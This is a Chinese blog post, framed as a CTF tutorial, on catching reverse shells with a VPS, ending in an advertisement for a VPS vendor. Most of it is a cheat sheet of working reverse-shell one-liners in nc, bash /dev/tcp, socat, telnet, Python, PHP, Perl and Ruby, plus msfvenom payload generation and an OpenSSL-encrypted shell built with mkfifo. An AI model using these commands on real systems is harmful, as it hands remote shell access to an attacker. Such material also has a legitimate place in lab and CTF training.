本文主要讲解我已知的CTF中对VPS的利用的教程模块,所以本篇文章将会持续更新并且有改动
解密base64会解锁新大陆:

REvnm77lrpjmlrnnvqTvvJo3MjcwNzcwNTU=

弹shell

弹shell有很多种类

NC
nc ip port -e /bin/sh
nc -e /bin/sh ip port         //这种版本过老,一般都是上面的版本已经兼容了下面的版本了,所以上面的命令比较妥当

在这里插入图片描述

bash重定向
bash -i >& /dev/tcp/ip:port 0>&1

bash -c "bash -i >& /dev/tcp/ip/port 0>&1"

在这里插入图片描述

在这里插入图片描述

socat

也是学到了一种新的监听方法

链接
socat tcp-connect:ip:port exec:'bash -li',pty,stderr,setsid,sigint,sane
监听
socat TCP-LISTEN:port -

在这里插入图片描述

Telnet
telnet ip port  0<a | /bin/bash 1>a

在这里插入图片描述

然后监听但是由于我的vps并没有开启这样的端口所以刚链接就断开了
在这里插入图片描述

还有一种是监听两个端口但是这样子我们得开两个VPS应用
在这里插入图片描述
我原先以为可以一次性监听两个端口但是不然,而是分先后顺序
在这里插入图片描述
在这里插入图片描述

telnet ip1 port1 | /bin/bash | telnet ip2 port2
ip1可以和ip2相等,但是端口不能,最后的结果就是我在ip1的vps上进行了命令执行,在ip2看到了回显
也就是相当于自己有个鸡用来进行一些单vps被限制的反弹

EXP反弹

而这类反弹就得看有没有相应的环境了

python
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ip",port));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

这里的主要链接功能是socket来完成的,而重定向外带是ossubprocess,细心的小伙伴发现了这个是不是和ssti注入的反弹差不多呢,没错,所以其实实际上的EXP是需要我们根据环境来进行改变的
在这里插入图片描述

PHP
php -r '$sock=fsockopen("ip",port);exec("/bin/sh -i <&3 >&3 2>&3");'

在这里插入图片描述

Perl
perl -e 'use Socket;$i="ip";$p=port;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

在这里插入图片描述

Ruby
ruby -rsocket -e 'c=TCPSocket.new("ip","port");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

在这里插入图片描述

ruby -rsocket -e 'exit if fork;c=TCPSocket.new("ip","port");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

在这里插入图片描述
看着这么多命令是不是已经眼花缭乱了,那么这里推荐一个工具

msfvenom使用
msfvenom -l payloads | grep 'cmd/unix/reverse'

看命令目录
在这里插入图片描述

msfvenom -p cmd/unix/reverse_python LHOST=ip LPORT=port -f raw
得到相应命令

在这里插入图片描述
得到命令之后自己运行即可
在这里插入图片描述

终端衔接

不知道大家发现没有我们弹shell,都是那种空白页,并没有显示root,而且还特别不稳定,如果弹shell的时候没有及时断开,那么靶场环境可以就得重开了

python -c "import pty;pty.spawn('/bin/bash')"

这个命令可以模拟终端让我们更好的执行命令
在这里插入图片描述

OpenSSL

用来反弹加密shell,而加密的shell是由我们的RSA来进行加密的

openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365 -nodes

生成加密证书
自己一定要填相应信息即使是虚假的
我当时为了省事,直接一直按空格,然后并不能成功反弹
在这里插入图片描述
监听端口

openssl s_server -quiet -key key.pem -cert cert.pem -port 4444

反弹shell

mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect ip:port > /tmp/s; rm /tmp/s

在这里插入图片描述

在这里插入图片描述

引言

那么看到这里了,你是不是会觉得vps在某些特殊环节特别是生活中特别实用呢
那么为了一台好的vps能够在美丽的性能同时还能有同样美丽的价格,这是相当难得的,而我在不经意之间发现了一个厂商,没错,他的名字叫做DK盾

DK盾更加人性化,他的vps是按需上的,你需要什么,他就会去准备什么,尽量在你的接受时间内完成,并且价格也是相当美丽,基本就是行业断层级别的碾压!!
售后服务这是更不用说的,如果不好,那么全权不能称为是人性化,DK师傅(产商经营者)为了我这种小白是专门建了一个官方交流群,其中会不定时送vps以及抽奖,红包问答等等,实在解决不了问题还可私聊教学

在这里插入图片描述
在这里插入图片描述
其中也是并无黑幕,可以看到我也是中了一台并且租了一台传家宝还有台是与官方进行CTFer赞助计划得到的vps

你想有的相应服务都有CDN vps定制  物理机等等

DK官网

若非常感兴趣者可以私聊vps相关问题,
一对一教学,教你弹

Logo

华为开发者空间,是为全球开发者打造的专属开发空间,汇聚了华为优质开发资源及工具,致力于让每一位开发者拥有一台云主机,基于华为根生态开发、创新。

更多推荐